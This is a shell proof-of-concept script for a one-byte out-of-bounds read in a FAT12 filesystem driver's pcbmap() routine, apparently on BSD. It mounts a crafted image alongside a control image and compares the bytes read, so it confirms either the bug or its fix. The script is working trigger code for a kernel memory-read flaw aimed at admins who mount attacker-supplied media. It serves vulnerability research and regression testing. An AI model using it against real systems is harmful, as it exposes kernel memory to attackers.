#!/bin/sh
# DF-0827 PoC: demonstrate the FAT12 1-byte OOB read in pcbmap().
#
# Strategy: build two images that are identical except for the LAST FAT
# entry of the file chain, then mount each and cat the file:
#
#   eof.img : FAT[681] = 0xff8 (EOF). pcbmap(findcn=681) -> E2BIG.
#             cat returns 340992 bytes (680 clusters). CONTROL.
#   oob.img : FAT[681] = 682    (chain walks to 682). pcbmap(findcn=681)
#             dereferences FAT[682] at byte offset 1023 inside a 1024-byte
#             bp->b_data buffer -> reads byte 1024 OUT OF BOUNDS.
#             cat returns whatever the OOB byte dictates.
#
# Precondition (realistic): admin mounts an attacker-supplied FAT image
# (USB stick, downloaded image, etc.). Mount is done as root; the file
# read itself is the unprivileged trigger.
set -u

ID=DF-0827
DIR="$(dirname "$0")"
cd "$DIR"

MNT="/mnt/df0827"
VND=vn0

cleanup() {
    umount "$MNT" 2>/dev/null || true
    vnconfig -u $VND 2>/dev/null || true
}
trap cleanup EXIT

echo "=== $ID: build image crafter ==="
cc -o craftfat craftfat.c || { echo "BUILD FAILED"; exit 1; }

echo
echo "============================================================"
echo "$ID: CONTROL image (FAT[681]=0xff8, chain ends cleanly)"
echo "============================================================"
./craftfat eof
ls -l fat12_eof.img
cleanup
vnconfig -c -s labels $VND fat12_eof.img
mkdir -p "$MNT"
mount_msdos -m 0755 /dev/${VND}s0 "$MNT" 2>/dev/null || mount_msdos -m 0755 /dev/${VND} "$MNT"
echo "ls -l MNT:"; ls -l "$MNT"
cat "$MNT/TRIGGER.TXT" > /tmp/df0827_eof.bin 2>&1 || echo "  cat returned $?"
EOF_BYTES=$(wc -c < /tmp/df0827_eof.bin)
echo "  bytes read by cat: $EOF_BYTES  (expect 340992 = 680 clusters)"
echo "  last 32 bytes of control output:"
tail -c 32 /tmp/df0827_eof.bin | hexdump -C
cleanup

echo
echo "============================================================"
echo "$ID: BUG image (FAT[681]=682, chain walks OOB to FAT[682])"
echo "============================================================"
./craftfat bug
ls -l fat12_oob.img
vnconfig -c -s labels $VND fat12_oob.img
mkdir -p "$MNT"
mount_msdos -m 0755 /dev/${VND}s0 "$MNT" 2>/dev/null || mount_msdos -m 0755 /dev/${VND} "$MNT"
echo "ls -l MNT:"; ls -l "$MNT"
cat "$MNT/TRIGGER.TXT" > /tmp/df0827_oob.bin 2>&1 || echo "  cat returned $?"
OOB_BYTES=$(wc -c < /tmp/df0827_oob.bin)
echo "  bytes read by cat: $OOB_BYTES  (file claims 349184 = 682 clusters)"
echo "  last 32 bytes of bug output:"
tail -c 32 /tmp/df0827_oob.bin | hexdump -C
echo
echo "  cluster 170 first byte (in case cn=0xAA=170 maps there):"
dd if=fat12_oob.img bs=512 skip=172 count=1 2>/dev/null | head -c 4 | hexdump -C
echo "  cluster 682 (last sector) first bytes (in case cn=682 maps there):"
dd if=fat12_oob.img bs=512 skip=684 count=1 2>/dev/null | head -c 4 | hexdump -C

echo
echo "=== $ID: dmesg tail (look for FAT warnings) ==="
dmesg | tail -10

echo
echo "============================================================"
echo "$ID: VERDICT"
echo "============================================================"
echo "Control (eof.img): cat read $EOF_BYTES bytes."
echo "Bug    (oob.img): cat read $OOB_BYTES bytes."
if [ "$OOB_BYTES" -gt "$EOF_BYTES" ]; then
    echo "=> BUG CONFIRMED (baseline): with FAT[681]=682, pcbmap returned success"
    echo "   for findcn=681 -- only possible by reading FAT[682] OOB. The extra"
    echo "   cluster returned is whatever the OOB byte produced."
elif [ "$OOB_BYTES" -eq "$EOF_BYTES" ]; then
    echo "=> FIX CONFIRMED: bug image behaves identically to control image"
    echo "   (both hit E2BIG at cluster 681). The cn > pm_maxcluster check"
    echo "   catches cn=682 at pcbmap line 187 and goto hiteof before the"
    echo "   OOB FAT[682] dereference at line 211."
else
    echo "=> unexpected: bug read fewer bytes than control."
fi
